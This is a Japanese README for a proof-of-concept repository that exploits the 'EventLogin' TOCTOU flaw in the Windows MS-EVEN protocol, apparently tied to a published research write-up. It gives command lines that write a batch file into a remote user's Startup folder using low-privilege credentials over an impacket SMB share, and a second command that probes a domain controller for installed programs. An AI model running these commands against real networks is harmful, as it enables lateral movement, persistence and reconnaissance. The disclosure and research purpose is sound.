
EventLoginは、MS-EVENプロトコルにおけるTime-of-check Time-of-use(TOCTOU)の脆弱性です。この脆弱性により、低権限ユーザーがリモートマシンに任意のファイルを書き込むことが可能になり、リモート書き込みに管理者アカウントが不要になります。
このリポジトリには2つのスクリプトが含まれています。1つは脆弱性を悪用するスクリプト(write_file_remotely.py)で、もう1つは脆弱性のプリミティブの1つを使用して、低権限ユーザーとしてリモートファイルが存在するかどうかを確認するスクリプトです。これは、例えばドメイン内の他のコンピュータにインストールされているプログラムを確認するのに便利です。
詳細な分析はこちらでご覧いただけます:
EventLog-in: Microsoft WindowsのEventlogサービスを使用した弱い資格情報による伝播
まず、impacketを使用してSMB共有を作成します:
impacket-smbserver -smb2support Share /tmp/safebreach
注意:スクリプトは共有名としてハードコードされた'Share'を使用しています。必要に応じて変更してください。
次に、write_file_remotely.pyスクリプトを実行し、必要なすべてのパラメータを指定します:
例:
python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"
このスクリプトは脆弱性自体を利用せず、"CreateFile"プリミティブのみを使用し、ネットワークの偵察に役立ちます。
例えば、ドメイン内のリモートマシンのProgram Filesディレクトリは、'Users'グループ全体にアクセス可能です。つまり、任意のユーザーの資格情報を使用して、別のマシン上でファイルが存在するかどうかを確認できます。
次のパラメータを受け付けます:
例:低権限ユーザーを使用して、DC(192.168.56.57)にWiresharkがインストールされているか確認します。
python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"
Result:
FILE_EXISTS_AND_IS_DIRECTORY